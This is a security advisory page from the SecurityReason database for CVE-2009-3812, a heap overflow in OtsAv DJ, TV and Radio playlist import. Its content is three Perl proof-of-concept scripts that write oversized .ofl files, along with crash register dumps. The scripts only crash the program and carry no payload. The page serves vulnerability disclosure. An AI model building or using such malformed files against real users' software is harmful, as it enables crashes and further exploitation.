SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow SecurityAlert Database

Arrow  Topic :

OtsAv DJ [.olf] Local Heap Overflow Poc


Arrow  SecurityAlert : 6705
Arrow  CVE : CVE-2009-3812
Arrow  CWE : CWE-122
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   6573
Arrow  Credit : Stack
Arrow  Published : 28.10.2009

Arrow  Affected Software : OtsAv DJ



Arrow  Advisory Content :  

----------------------------------the first
Poc------------------------------------
#!/usr/bin/perl
# OtsAv DJ [.olf] Local Heap Overflow Poc
# Down :
http://serv-08.download.otszone.com/download.cgi/otsavdjtrialsetup.exe?A=13
JTHRVWJLLLZ5JG2AYRNSMN%2DWJMQXDJKA%2DRFQ&otsavdjtrialsetup.exe
# Desc : 7000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >> Import List >> As playlist >>
# BOOOOOOOOOOOOOOOOOOOM
# register of 7000 A'
# EAX 41414141
# ECX 00E5448C OtsAVDJt.00E5448C
# EDX 41414141
# EBX 00E54488 OtsAVDJt.00E54488
# ESP 02C6FE1C
# EBP 00E0D328 OtsAVDJt.00E0D328
# ESI 00000000
# EDI 0174C070 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
# EIP 0046266C OtsAVDJt.0046266C
# register of 2000 A'
# EAX 41414141
# ECX 00001B05
# EDX 02FAF730
# EBX 0000042A
# ESP 02FAF9C8
# EBP 00000000
# ESI 020FAFEA
# EDI 02FAFEAA
# EIP 0043C8D7 OtsAVDJt.0043C8D7
use strict;
use warnings;
my $A= "\x41" x 7000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
$A.
"\r\n";
close $ofl_playlist;
-------------------------------Second
Poc-----------------------------------------------------

#!/usr/bin/perl
# OtsAv TV [.olf] Local Heap Overflow Poc
# Down : http://www.otsav.com/buy/tv/
# Desc : 2000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >> Import List >> As playlist >>
# BOOOOOOOOOOOOOOOOOOOM
# EAX 45454545
# ECX 00009AF0
# EDX 03A0F730
# EBX 0000042A
# ESP 03A0F9C8
# EBP 00000000
# ESI 02CD7102
# EDI 03A0FEAA
# EIP 0043C8D7 OtsAVTVt.0043C8D7
use strict;
use warnings;
my $A= "\x45" x 2000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
$A.
"\r\n";
close $ofl_playlist;
----------------------------------- 3
POC-------------------------------------------------
#!/usr/bin/perl
# OtsAv Radio [.olf] Local Heap Overflow Poc
# Down : http://www.otsav.com/buy/radio/
# Desc : 2000 A' Heap overflow
# By Mountassif Moad a.k.a Stack
# v4 Team & evil finger
# Open Stack.ofl >> File >> Import List >> As playlist >>
# BOOOOOOOOOOOOOOOOOOOM
# EAX 45454545
# ECX 0000CD32
# EDX 0224F730
# EBX 00000452
# ESP 0224F9C8
# EBP 00000000
# ESI 00C8E0EA
# EDI 0224FED2
# EIP 0043B497 OtsAVRDt.0043B497
use strict;
use warnings;
my $A= "\x45" x 2000;
open(my $ofl_playlist, "> stack.ofl");
print $ofl_playlist
$A.
"\r\n";
close $ofl_playlist;




Arrow  References :

http://securityreason.com/expldownload/1/6573/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/51628
http://www.vupen.com/english/advisories/2009/1861
http://www.milw0rm.com/exploits/9113
http://secunia.com/advisories/35738
http://packetstormsecurity.org/0907-exploits/otsav-overflow.txt
http://osvdb.org/55747




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...
Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration
PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass
Copyright © SecurityReason.com. All Rights Reserved.